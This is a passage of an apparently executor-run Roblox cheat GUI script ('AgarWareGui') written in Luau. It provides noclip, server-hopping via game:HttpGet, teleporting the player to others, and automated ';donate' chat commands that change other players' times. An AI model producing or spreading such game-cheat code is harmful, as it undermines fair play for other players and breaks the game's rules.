	btnLabel.Size = UDim2.new(1, 0, 1, 0)
	btnLabel.Position = UDim2.new(0, 0, 0, 0)
	btnLabel.BackgroundTransparency = 1
	btnLabel.Text = "Join Largest XL"
	btnLabel.TextColor3 = Color3.new(1, 1, 1)
	btnLabel.TextSize = 14
	btnLabel.Font = Enum.Font.Code
	btnLabel.ZIndex = 2
	btnLabel.Parent = LJoinXLButton
	
	--------------------------------------------------
	-- HOLD STATE
	--------------------------------------------------
	
	local holding    = false
	local progress   = 0
	local connection = nil
	local cachedCount = nil
	
	local function stopHold()
		holding = false
		if connection then
			connection:Disconnect()
			connection = nil
		end
		progress = 0
		fillBar.Size = UDim2.new(0, 0, 1, 0)
		fillBar.BackgroundColor3 = GREY
		if cachedCount and cachedCount > 0 then
			btnLabel.Text = "Join Largest XL (" .. cachedCount .. ")"
		else
			btnLabel.Text = "Join Largest XL"
		end
	end
	
	--------------------------------------------------
	-- FIND BIGGEST SERVER
	--------------------------------------------------
	
	local function getBiggestServer()
		local bestJobId = nil
		local bestCount = -1
		local cursor    = ""
		local maxPages  = 5
	
		for page = 1, maxPages do
			local url = string.format(
				"https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100",
				PLACE_ID
			)
			if cursor ~= "" then
				url = url .. "&cursor=" .. cursor
			end
	
			local ok, result = pcall(function()
				return HttpService:JSONDecode(game:HttpGet(url))
			end)
	
			if not ok or not result or not result.data then break end
	
			for _, server in ipairs(result.data) do
				local count = server.playing or 0
				if count > bestCount then
					bestCount = count
					bestJobId = server.id
				end
			end
	
			if not result.nextPageCursor or result.nextPageCursor == HttpService.null then
				break
			end
			cursor = result.nextPageCursor
		end
	
		return bestJobId, bestCount
	end
	
	--------------------------------------------------
	-- FETCH COUNT ON LOAD + REFRESH EVERY 30s
	--------------------------------------------------
	
	task.spawn(function()
		local _, playerCount = getBiggestServer()
		if playerCount and playerCount > 0 then
			cachedCount = playerCount
			if not holding then
				btnLabel.Text = "Join Largest XL (" .. playerCount .. ")"
			end
		end
	end)
	
	task.spawn(function()
		while true do
			task.wait(30)
			local _, playerCount = getBiggestServer()
			if playerCount and playerCount > 0 then
				cachedCount = playerCount
				if not holding then
					btnLabel.Text = "Join Largest XL (" .. playerCount .. ")"
				end
			end
		end
	end)
	
	--------------------------------------------------
	-- JOIN FUNCTION
	--------------------------------------------------
	
	local function joinBiggestServer()
		btnLabel.Text = "Finding server..."
	
		task.spawn(function()
			local jobId, playerCount = getBiggestServer()
	
			if not jobId then
				btnLabel.Text = "No servers found!"
				task.wait(3)
				stopHold()
				return
			end
	
			if game.JobId == jobId then
				btnLabel.Text = "Already in server!"
				task.wait(3)
				stopHold()
				return
			end
	
			btnLabel.Text = "Joining (" .. playerCount .. " players)..."
			task.wait(0.5)
	
			local ok, err = pcall(function()
				TeleportService:TeleportToPlaceInstance(PLACE_ID, jobId, LocalPlayer)
			end)
	
			if not ok then
				btnLabel.Text = "Teleport failed!"
				task.wait(3)
				stopHold()
			end
		end)
	end
	
	--------------------------------------------------
	-- INPUT CONNECTIONS
	--------------------------------------------------
	
	LJoinXLButton.MouseButton1Down:Connect(function()
		holding  = true
		progress = 0
		btnLabel.Text = "Hold to Join..."
	
		connection = RunService.RenderStepped:Connect(function(dt)
			if not holding then return end
			progress = math.clamp(progress + (dt / HOLD_TIME), 0, 1)
			fillBar.Size = UDim2.new(progress, 0, 1, 0)
	
			if progress >= 1 then
				stopHold()
				joinBiggestServer()
			end
		end)
	end)
	
	LJoinXLButton.MouseButton1Up:Connect(function()
		stopHold()
	end)
	
	LJoinXLButton.MouseLeave:Connect(function()
		stopHold()
	end)
	
	--------------------------------------------------
	-- CLEANUP
	--------------------------------------------------
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			if connection then connection:Disconnect() end
		end
	end)
end;
task.spawn(C_250);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipScript
local function C_253()
local script = G2L["253"];
	-- ============================================================
	-- NNOCLIP SCRIPT (BLOCK STAND + FORCED JUMP)
	-- ============================================================
	
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local UserInputService = game:GetService("UserInputService")
	
	local LocalPlayer = Players.LocalPlayer
	
	local NNoclipRow = script.Parent
	local NNoclipTickBox = NNoclipRow.NNoclipTickBox
	local MiscGroup = NNoclipRow.Parent
	
	local function getAccentColor()
		local a = MiscGroup:FindFirstChild("MiscAccentColor")
		return a and a.BackgroundColor3 or Color3.new(1,1,1)
	end
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	-- ============================================================
	-- TOOLTIP (UPDATED TO CHATSPY STYLE)
	-- ============================================================
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0,212,0,0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
	tooltipStroke.Color = Color3.fromRGB(57, 57, 57)
	
	local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
	tooltipPadding.PaddingTop    = UDim.new(0, 6)
	tooltipPadding.PaddingBottom = UDim.new(0, 6)
	tooltipPadding.PaddingLeft   = UDim.new(0, 6)
	tooltipPadding.PaddingRight  = UDim.new(0, 6)
	
	local tooltipLabel = Instance.new("TextLabel", tooltipFrame)
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Prevents you from falling through blocks when noclipped. This does not mean you can collide with other people"
	tooltipLabel.TextColor3 = Color3.new(1, 1, 1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0, 200, 0, 0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	
	NNoclipTickBox.MouseEnter:Connect(function()
		local abs = NNoclipTickBox.AbsolutePosition
		local size = NNoclipTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	NNoclipTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	-- ============================================================
	-- CONSTANTS
	-- ============================================================
	
	local CHAR_HALF_HEIGHT = 2.1
	local CHAR_HALF_WIDTH = 0.6
	local PUSH_EXTRA = 0.05
	local FLOOR_SCAN = 8
	
	-- ============================================================
	-- STATE
	-- ============================================================
	
	local isEnabled = false
	local loopConn
	local jumpDebounce = false
	
	local function enable()
	
		isEnabled = true
		NNoclipTickBox.BackgroundColor3 = getAccentColor()
	
		-- Forced Jump System
		UserInputService.JumpRequest:Connect(function()
			if jumpDebounce then return end
	
			local char = LocalPlayer.Character
			if not char then return end
	
			local hrp = char:FindFirstChild("HumanoidRootPart")
			local humanoid = char:FindFirstChildOfClass("Humanoid")
			if not hrp or not humanoid then return end
	
			local rayParams = RaycastParams.new()
			rayParams.FilterType = Enum.RaycastFilterType.Exclude
			rayParams.FilterDescendantsInstances = {char}
	
			local hit = workspace:Raycast(hrp.Position, Vector3.new(0,-6,0), rayParams)
	
			if hit then
				jumpDebounce = true
				humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
				local vel = hrp.AssemblyLinearVelocity
				hrp.AssemblyLinearVelocity = Vector3.new(vel.X, humanoid.JumpPower, vel.Z)
				task.wait(0.15)
				jumpDebounce = false
			end
		end)
	
		loopConn = RunService.RenderStepped:Connect(function()
			local char = LocalPlayer.Character
			if not char then return end
	
			local hrp = char:FindFirstChild("HumanoidRootPart")
			if not hrp then return end
	
			local pos = hrp.Position
			local cf = hrp.CFrame
	
			local rayParams = RaycastParams.new()
			rayParams.FilterType = Enum.RaycastFilterType.Exclude
			rayParams.FilterDescendantsInstances = {char}
	
			-- floor snap
			local hit = workspace:Raycast(pos, Vector3.new(0,-FLOOR_SCAN,0), rayParams)
			if hit then
				local surfaceY = hit.Position.Y + CHAR_HALF_HEIGHT
				if pos.Y < surfaceY then
					local vel = hrp.AssemblyLinearVelocity
					hrp.AssemblyLinearVelocity = Vector3.new(vel.X,0,vel.Z)
	
					-- rotation unlocked
					hrp.CFrame = CFrame.new(Vector3.new(pos.X,surfaceY,pos.Z)) * CFrame.fromMatrix(Vector3.new(), cf.RightVector, cf.UpVector)
	
					pos = hrp.Position
				end
			end
	
			-- WALL PUSH
			local newPos = pos
			local scanDist = CHAR_HALF_WIDTH + 1
	
			local dirs = {cf.LookVector, -cf.LookVector, cf.RightVector, -cf.RightVector}
			for _, dir in ipairs(dirs) do
				local result = workspace:Raycast(pos, dir * scanDist, rayParams)
				if result then
					local dist = (result.Position - pos).Magnitude
					if dist < CHAR_HALF_WIDTH then
						newPos = newPos + (-dir * (CHAR_HALF_WIDTH - dist + PUSH_EXTRA))
					end
				end
			end
	
			if (newPos - pos).Magnitude > 0.01 then
				-- rotation unlocked
				local currentCFrame = hrp.CFrame
				hrp.CFrame = CFrame.new(newPos) * CFrame.fromMatrix(Vector3.new(), currentCFrame.RightVector, currentCFrame.UpVector)
			end
		end)
	end
	
	local function disable()
		isEnabled = false
		NNoclipTickBox.BackgroundColor3 = Color3.new(0,0,0)
		if loopConn then
			loopConn:Disconnect()
		end
	end
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	
	NNoclipTickBox.MouseButton1Click:Connect(function()
		if isEnabled then
			disable()
		else
			enable()
		end
	end)
end;
task.spawn(C_253);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerScript
local function C_257()
local script = G2L["257"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local DecimalFixerRow = script.Parent
	local DecimalFixerTickBox = DecimalFixerRow.DecimalFixerTickBox
	local MiscGroup = DecimalFixerRow.Parent
	
	local function getAccentColor()
		local a = MiscGroup:FindFirstChild("MiscAccentColor")
		return a and a.BackgroundColor3 or Color3.new(1,1,1)
	end
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	--------------------------------------------------
	-- TOOLTIP
	--------------------------------------------------
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0,212,0,0)
	tooltipFrame.Visible = false
	local sg = getScreenGui()
	if sg then tooltipFrame.Parent = sg end
	
	local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
	tooltipStroke.Color = Color3.fromRGB(57,57,57)
	
	local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
	tooltipPadding.PaddingTop    = UDim.new(0,6)
	tooltipPadding.PaddingBottom = UDim.new(0,6)
	tooltipPadding.PaddingLeft   = UDim.new(0,6)
	tooltipPadding.PaddingRight  = UDim.new(0,6)
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Fixes your own time decimals by donating other players your decimals."
	tooltipLabel.TextColor3 = Color3.new(1,1,1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0,200,0,0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	DecimalFixerTickBox.MouseEnter:Connect(function()
		local abs = DecimalFixerTickBox.AbsolutePosition
		local size = DecimalFixerTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	DecimalFixerTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	--------------------------------------------------
	-- SHARED MUTUAL EXCLUSIVE
	--------------------------------------------------
	
	shared.DecimalFixerActive = shared.DecimalFixerActive or nil
	-- "self" = this script on, "other" = other script on
	
	--------------------------------------------------
	-- CHAT
	--------------------------------------------------
	
	local function sendChat(message)
		if shared.sendChat then shared.sendChat(message) end
	end
	
	--------------------------------------------------
	-- STATE
	--------------------------------------------------
	
	local isEnabled = false
	local loopRunning = false
	
	--------------------------------------------------
	-- PROCESS
	--------------------------------------------------
	
	local function processDecimal(textLabel)
		local text = textLabel.Text
		local number = tonumber(text)
		if not number then return end
		if number == math.floor(number) then return end
	
		local decimalStr = text:match("%.(.+)")
		if not decimalStr then return end
	
		local message = ";donate r 1." .. decimalStr
		print("DecimalFixer →", text, "=>", message)
		sendChat(message)
	end
	
	--------------------------------------------------
	-- ENABLE / DISABLE
	--------------------------------------------------
	
	local function disable(silent)
		isEnabled = false
		DecimalFixerTickBox.BackgroundColor3 = Color3.new(0,0,0)
		if shared.DecimalFixerActive == "self" then
			shared.DecimalFixerActive = nil
		end
	end
	
	local function enable()
		-- Turn off other decimal fixer if on
		if shared.DecimalFixerActive == "other" then
			if shared.DisableOtherDecimalFixer then
				shared.DisableOtherDecimalFixer()
			end
		end
	
		isEnabled = true
		shared.DecimalFixerActive = "self"
		DecimalFixerTickBox.BackgroundColor3 = getAccentColor()
	
		local ok, char = pcall(function() return workspace:WaitForChild(LocalPlayer.Name, 10) end)
		if not ok or not char then loopRunning = false return end
		local ok2, tiempo = pcall(function() return char:WaitForChild("Tiempo", 10) end)
		if not ok2 or not tiempo then loopRunning = false return end
		local ok3, textLabel = pcall(function() return tiempo:WaitForChild("Text1", 10) end)
		if not ok3 or not textLabel then loopRunning = false return end
	
		if loopRunning then return end
		loopRunning = true
	
		task.spawn(function()
			while isEnabled do
				processDecimal(textLabel)
				task.wait(5)
			end
			loopRunning = false
		end)
	end
	
	-- Expose disable for mutual exclusive
	shared.DisableSelfDecimalFixer = disable
	
	DecimalFixerTickBox.MouseButton1Click:Connect(function()
		if isEnabled then disable() else enable() end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			isEnabled = false
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_257);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerScript
local function C_25b()
local script = G2L["25b"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local OtherDecimalFixerRow = script.Parent
	local OtherDecimalFixerTickBox = OtherDecimalFixerRow.OtherDecimalFixerTickBox
	local MiscGroup = OtherDecimalFixerRow.Parent
	
	local function getAccentColor()
		local a = MiscGroup:FindFirstChild("MiscAccentColor")
		return a and a.BackgroundColor3 or Color3.new(1,1,1)
	end
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	--------------------------------------------------
	-- TOOLTIP
	--------------------------------------------------
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16,16,16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0,212,0,0)
	tooltipFrame.Visible = false
	local sg = getScreenGui()
	if sg then tooltipFrame.Parent = sg end
	
	local tooltipStroke = Instance.new("UIStroke", tooltipFrame)
	tooltipStroke.Color = Color3.fromRGB(57,57,57)
	
	local tooltipPadding = Instance.new("UIPadding", tooltipFrame)
	tooltipPadding.PaddingTop    = UDim.new(0,6)
	tooltipPadding.PaddingBottom = UDim.new(0,6)
	tooltipPadding.PaddingLeft   = UDim.new(0,6)
	tooltipPadding.PaddingRight  = UDim.new(0,6)
	
	local tooltipLabel = Instance.new("TextLabel")
	tooltipLabel.BackgroundTransparency = 1
	tooltipLabel.Text = "Fixes other players time decimals by donating to them but makes your time into decimals."
	tooltipLabel.TextColor3 = Color3.new(1,1,1)
	tooltipLabel.TextSize = 14
	tooltipLabel.TextXAlignment = Enum.TextXAlignment.Left
	tooltipLabel.TextYAlignment = Enum.TextYAlignment.Top
	tooltipLabel.Font = Enum.Font.GothamSemibold
	tooltipLabel.TextWrapped = true
	tooltipLabel.Size = UDim2.new(0,200,0,0)
	tooltipLabel.AutomaticSize = Enum.AutomaticSize.Y
	tooltipLabel.ZIndex = 101
	tooltipLabel.Parent = tooltipFrame
	
	OtherDecimalFixerTickBox.MouseEnter:Connect(function()
		local abs = OtherDecimalFixerTickBox.AbsolutePosition
		local size = OtherDecimalFixerTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	OtherDecimalFixerTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	--------------------------------------------------
	-- SHARED MUTUAL EXCLUSIVE
	--------------------------------------------------
	
	shared.DecimalFixerActive = shared.DecimalFixerActive or nil
	
	--------------------------------------------------
	-- CHAT
	--------------------------------------------------
	
	local function sendChat(message)
		if shared.sendChat then shared.sendChat(message) end
	end
	
	--------------------------------------------------
	-- STATE
	--------------------------------------------------
	
	local isEnabled = false
	local loopRunning = false
	local ignoredPlayers = {}   -- userId -> tick() when ignore expires
	local attemptTracker = {}   -- userId -> {times={}}
	
	--------------------------------------------------
	-- HELPERS
	--------------------------------------------------
	
	local function getPlayerTime(player)
		local char = workspace:FindFirstChild(player.Name)
		if not char then return nil end
		local tiempo = char:FindFirstChild("Tiempo")
		if not tiempo then return nil end
		local text1 = tiempo:FindFirstChild("Text1")
		if not text1 then return nil end
		local num = tonumber(text1.Text)
		return num
	end
	
	local function hasDecimal(num)
		if not num then return false end
		return num ~= math.floor(num)
	end
	
	local function calcDonateAmount(num)
		local decimalPart = num - math.floor(num)
		local amount = 1 + (1 - decimalPart)
		return string.format("%.10f", amount):gsub("0+$",""):gsub("%.$","")
	end
	
	-- Replace _ with . in username
	local function sanitizeUsername(name)
		return name:gsub("_", ".")
	end
	
	-- Get shortest unique prefix for a player among all players with decimal time
	local function getUniquePrefix(targetPlayer, decimalPlayers)
		local targetName = targetPlayer.Name
		for len = 5, #targetName do
			local prefix = targetName:sub(1, len)
			local matches = 0
			for _, p in ipairs(decimalPlayers) do
				if p.Name:sub(1, len) == prefix then
					matches += 1
				end
			end
			if matches == 1 then
				return sanitizeUsername(prefix), true
			end
		end
		return nil, false
	end
	
	-- Track TP back position
	local function getMyHRP()
		local char = LocalPlayer.Character
		return char and char:FindFirstChild("HumanoidRootPart")
	end
	
	local function tpTo(player)
		local hrp = getMyHRP()
		if not hrp then return nil end
		local savedPos = hrp.CFrame
		local targetChar = workspace:FindFirstChild(player.Name)
		local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
		if not targetHRP then return nil end
		hrp.CFrame = targetHRP.CFrame * CFrame.new(0, 0, 3)
		return savedPos
	end
	
	local function tpBack(savedCFrame)
		local hrp = getMyHRP()
		if hrp and savedCFrame then
			hrp.CFrame = savedCFrame
		end
	end
	
	local function trackAttempt(userId)
		local now = tick()
		attemptTracker[userId] = attemptTracker[userId] or {times = {}}
		local times = attemptTracker[userId].times
		table.insert(times, now)
		-- Clean attempts older than 1 minute
		for i = #times, 1, -1 do
			if now - times[i] > 60 then
				table.remove(times, i)
			end
		end
		return #times
	end
	
	--------------------------------------------------
	-- FIX ONE PLAYER
	--------------------------------------------------
	
	local function fixPlayer(player, decimalPlayers)
		local userId = player.UserId
	
		-- Check ignore
		if ignoredPlayers[userId] and tick() < ignoredPlayers[userId] then return end
	
		local num = getPlayerTime(player)
		if not num or not hasDecimal(num) then return end
	
		local amount = calcDonateAmount(num)
		local attempts = trackAttempt(userId)
	
		-- Try unique prefix first
		local prefix, isUnique = getUniquePrefix(player, decimalPlayers)
	
		if isUnique and attempts <= 5 then
			-- Send via prefix
			print("[OtherDecimalFixer] Fixing", player.Name, "via prefix:", prefix, "amount:", amount)
			sendChat(";donate " .. prefix .. " " .. amount)
		else
			-- TP to player, donate nearest, TP back
			print("[OtherDecimalFixer] TPing to", player.Name, "and donating nearest, amount:", amount)
			local savedPos = tpTo(player)
			if not savedPos then return end
			task.wait(0.5)
	
			-- Check they haven't moved too far
			local targetChar = workspace:FindFirstChild(player.Name)
			local targetHRP = targetChar and targetChar:FindFirstChild("HumanoidRootPart")
			local myHRP = getMyHRP()
			if targetHRP and myHRP and (myHRP.Position - targetHRP.Position).Magnitude > 10 then
				tpBack(savedPos)
				return
			end
	
			sendChat(";donate n " .. amount)
			task.wait(0.5)
			tpBack(savedPos)
	
			-- Check if fixed after TP donate
			task.wait(1)
			local newNum = getPlayerTime(player)
			if newNum and hasDecimal(newNum) and attempts >= 5 then
				-- Still not fixed after 5 attempts via TP — ignore for 5 mins
				ignoredPlayers[userId] = tick() + 300
				print("[OtherDecimalFixer] Ignoring", player.Name, "for 5 minutes")
			end
		end
	end
	
	--------------------------------------------------
	-- MAIN LOOP
	--------------------------------------------------
	
	local function runLoop()
		while isEnabled do
			-- Get all players with decimal time (excluding self)
			local decimalPlayers = {}
			for _, player in ipairs(Players:GetPlayers()) do
				if player == LocalPlayer then continue end
				if ignoredPlayers[player.UserId] and tick() < ignoredPlayers[player.UserId] then continue end
				local num = getPlayerTime(player)
				if num and hasDecimal(num) then
					table.insert(decimalPlayers, player)
				end
			end
	
			-- Fix one at a time with 1 second between
			for _, player in ipairs(decimalPlayers) do
				if not isEnabled then break end
				fixPlayer(player, decimalPlayers)
				task.wait(1)
			end
	
			task.wait(5)
		end
		loopRunning = false
	end
	
	--------------------------------------------------
	-- ENABLE / DISABLE
	--------------------------------------------------
	
	local function disable()
		isEnabled = false
		OtherDecimalFixerTickBox.BackgroundColor3 = Color3.new(0,0,0)
		if shared.DecimalFixerActive == "other" then
			shared.DecimalFixerActive = nil
		end
	end
	
	local function enable()
		-- Turn off self decimal fixer if on
		if shared.DecimalFixerActive == "self" then
			if shared.DisableSelfDecimalFixer then
				shared.DisableSelfDecimalFixer()
			end
		end
	
		isEnabled = true
		shared.DecimalFixerActive = "other"
		OtherDecimalFixerTickBox.BackgroundColor3 = getAccentColor()
		ignoredPlayers = {}
		attemptTracker = {}
	
		if loopRunning then return end
		loopRunning = true
		task.spawn(runLoop)
	end
	
	-- Expose disable for mutual exclusive
	shared.DisableOtherDecimalFixer = disable
	
	OtherDecimalFixerTickBox.MouseButton1Click:Connect(function()
		if isEnabled then disable() else enable() end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			isEnabled = false
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_25b);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueScript
local function C_25f()
local script = G2L["25f"];
	local EnliChatBlueRow = script.Parent
	local MiscGroup = EnliChatBlueRow.Parent
	local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
	local EnliChatBlueTickBox = EnliChatBlueRow:WaitForChild("EnliChatBlueTickBox")
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	
	EnliChatBlueTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	EnliChatBlueTickBox.MouseButton1Click:Connect(function()
		if EnliChatBlueTickBox.BackgroundColor3 == Color3.new(0, 0, 0) then
			EnliChatBlueTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
		else
			EnliChatBlueTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end)
	
	--------------------------------------------------
	-- TOOLTIP
	--------------------------------------------------
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
	tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y
	tooltipFrame.Size = UDim2.new(0, 212, 0, 0)
	tooltipFrame.Visible = false
	tooltipFrame.Parent = getScreenGui()
	
	local stroke = Instance.new("UIStroke", tooltipFrame)
	stroke.Color = Color3.fromRGB(57, 57, 57)
	
	local padding = Instance.new("UIPadding", tooltipFrame)
	padding.PaddingTop    = UDim.new(0, 6)
	padding.PaddingBottom = UDim.new(0, 6)
	padding.PaddingLeft   = UDim.new(0, 6)
	padding.PaddingRight  = UDim.new(0, 6)
	
	local label = Instance.new("TextLabel")
	label.BackgroundTransparency = 1
	label.Text = "Shows a 🌟 next to enlightened players names in chat."
	label.TextColor3 = Color3.new(1, 1, 1)
	label.TextSize = 14
	label.TextXAlignment = Enum.TextXAlignment.Left
	label.TextYAlignment = Enum.TextYAlignment.Top
	label.Font = Enum.Font.GothamSemibold
	label.TextWrapped = true
	label.Size = UDim2.new(0, 200, 0, 0)
	label.AutomaticSize = Enum.AutomaticSize.Y
	label.ZIndex = 101
	label.Parent = tooltipFrame
	
	EnliChatBlueTickBox.MouseEnter:Connect(function()
		local abs = EnliChatBlueTickBox.AbsolutePosition
		local size = EnliChatBlueTickBox.AbsoluteSize
		tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
		tooltipFrame.Visible = true
	end)
	
	EnliChatBlueTickBox.MouseLeave:Connect(function()
		tooltipFrame.Visible = false
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			tooltipFrame:Destroy()
		end
	end)
end;
task.spawn(C_25f);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliScript
local function C_263()
local script = G2L["263"];
	local AutoEnliRow = script.Parent
	local AutoEnliTickBox = AutoEnliRow:WaitForChild("AutoEnliTickBox")
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local CoreGui = game:GetService("CoreGui")
	
	local function getAccentColor()
		local MiscGroup = AutoEnliRow.Parent
		local a = MiscGroup:FindFirstChild("MiscAccentColor")
		if a then
			return a.BackgroundColor3
		else
			return Color3.new(1, 1, 1)
		end
	end
	
	-- State
	local isEnabled = false
	
	-- ============================================================
	-- TOGGLE
	-- ============================================================
	local function toggle()
		isEnabled = not isEnabled
	
		if isEnabled then
			AutoEnliTickBox.BackgroundColor3 = getAccentColor()
		else
			AutoEnliTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
		end
	end
	
	AutoEnliTickBox.MouseButton1Click:Connect(toggle)
	
	-- ============================================================
	-- FUNCTIONS
	-- ============================================================
	local function getEquippedTool()
		local character = LocalPlayer.Character
		if not character then return nil end
	
		return character:FindFirstChildOfClass("Tool")
	end
	
	local function equipArkenstone()
		local arkenstone = LocalPlayer.Backpack:FindFirstChild("The Arkenstone")
		if not arkenstone then return false end
	
		local character = LocalPlayer.Character
		if not character then return false end
	
		local humanoid = character:FindFirstChild("Humanoid")
		if not humanoid then return false end
	
		humanoid:EquipTool(arkenstone)
		return true
	end
	
	local function unequip()
		local character = LocalPlayer.Character
		if not character then return end
	
		local humanoid = character:FindFirstChild("Humanoid")
		if not humanoid then return end
	
		humanoid:UnequipTools()
	end
	
	local function equipTool(tool)
		if not tool or tool.Parent ~= LocalPlayer.Backpack then return end
	
		local character = LocalPlayer.Character
		if not character then return end
	
		local humanoid = character:FindFirstChild("Humanoid")
		if not humanoid then return end
	
		humanoid:EquipTool(tool)
	end
	
	-- ============================================================
	-- WATCH BUBBLE CHAT
	-- ============================================================
	local function watchBubbleChat()
		local experienceChat = CoreGui:WaitForChild("ExperienceChat", 10)
		if not experienceChat then return end
	
		local bubbleChat = experienceChat:WaitForChild("bubbleChat", 10)
		if not bubbleChat then return end
	
		local myBubbleChatName = "BubbleChat_" .. LocalPlayer.UserId
		local myBubbleChat = bubbleChat:WaitForChild(myBubbleChatName, 10)
		if not myBubbleChat then return end
	
		local bubbleChatList = myBubbleChat:WaitForChild("BubbleChatList", 10)
		if not bubbleChatList then return end
	
		-- Watch for new bubble frames
		bubbleChatList.ChildAdded:Connect(function(bubble)
			if not isEnabled then return end
	
			if string.match(bubble.Name, "^Bubble" .. LocalPlayer.UserId) then
				local previousTool = getEquippedTool()
	
				task.wait(0.01)
				equipArkenstone()
	
				task.wait(0.19)
	
				if previousTool then
					unequip()
					task.wait(0.05)
					equipTool(previousTool)
				else
					unequip()
				end
			end
		end)
	end
	
	task.spawn(watchBubbleChat)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	AutoEnliTickBox.BackgroundColor3 = Color3.new(0, 0, 0)
	
	-- ============================================================
	-- TOOLTIP
	-- ============================================================
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then return p end
			p = p.Parent
		end
	end
	
	local tooltipFrame = Instance.new("Frame")
	tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16)
	tooltipFrame.BorderSizePixel = 0
	tooltipFrame.ZIndex = 100
